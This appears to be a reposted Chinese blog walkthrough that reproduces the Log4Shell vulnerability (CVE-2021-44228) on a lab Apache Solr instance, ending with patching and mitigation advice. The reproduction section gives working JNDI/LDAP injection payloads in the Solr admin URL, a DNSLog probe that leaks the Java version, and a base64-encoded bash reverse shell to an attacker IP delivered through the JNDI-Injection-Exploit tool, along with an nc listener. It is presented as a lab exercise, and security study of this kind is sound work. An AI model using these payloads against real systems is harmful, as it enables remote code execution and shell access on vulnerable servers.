0


log4j2 远程代码执行漏洞复现(CVE-2021-44228)

log4j2 远程代码执行漏洞复现(CVE-2021-44228)

一、漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

二、影响版本

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

三、环境搭建

使用docker拉取靶场镜像

docker-compose up -d

在这里插入图片描述

查看端口号

docker ps

在这里插入图片描述

服务启动后,访问

http://your-ip:8983

即可查看到Apache Solr的后台页面

在这里插入图片描述

四、漏洞复现

首先使用 DNSLog 平台获取一个子域名

地址:DNSLog Platform

点击 Get SubDomin

这里获取到的子域名为:q3nlj0.dnslog.cn
在这里插入图片描述

使用该子域名,我们构造 payload:

${jndi:ldap://4ixuit.dnslog.cn}

然后我们对目标网站进行测试,访问网址:

http://192.168.190.134:8983/solr/admin/cores?action=${jndi:ldap://4ixuit.dnslog.cn}

在这里插入图片描述
在这里插入图片描述

确定java版本

${jndi:ldap://${sys:java.version}.4ixuit.dnslog.cn}
http://192.168.190.134:8983/solr/admin/cores?action=%24%7bjndi%3aldap%3a%2f%2f%24%7bsys%3ajava.version%7d.4ixuit.dnslog.cn%7d

在这里插入图片描述

shell反弹

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar下载地址:

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
https://github.com/welk1n/JNDI-Injection-Exploit.git

在这里插入图片描述

构造payload:

bash -i >& /dev/tcp/192.168.190.151/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNTEvNzc3NyAwPiYx

在这里插入图片描述

执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNTEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.190.151"

在这里插入图片描述

在kali开启监听

nc -lvvp 7777

在这里插入图片描述

再次构造一个payload(根据自己的java版本选择):

${jndi:ldap://192.168.190.151:1389/nn99zd}

然后我们将这个payload插入到action的后面,在浏览器访问以下url:

http://192.168.190.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.190.151:1389/nn99zd}

成功弹回shell:

在这里插入图片描述

五、解决建议

1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。同时为了避免在Apache Log4j 2.15.0版本中某些自定义配置而可能导致的JNDI注入或拒绝服务攻击,请尽快升级Apache Log4j2所有相关应用到 2.16.0 或者 2.12.2 及其以上版本,地址 https://logging.apache.org/log4j/2.x/download.html

2、对于 Java 8 及其以上用户,建议升级 Apache Log4j2 至 2.16.0 及以上版本。

3、对于 Java 7 用户,建议升级至 Apache Log4j 2.12.2 及以上版本,该版本为安全版本,用于解决兼容性问题。

4、对于其余暂时无法升级版本的用户,建议删除JndiLookup,可用以下命令 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

5、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

6、其余临时缓解方案可参见 https://logging.apache.org/log4j/2.x/security.html 。目前已有安全版本,强烈建议不要采用临时缓解方案进行防御。

标签: log4j 安全

本文转载自: https://blog.csdn.net/m0_68045701/article/details/140532680
版权归原作者 夏日冰棍 所有, 如有侵权,请联系我们删除。

“log4j2 远程代码执行漏洞复现(CVE-2021-44228)”的评论:

还没有评论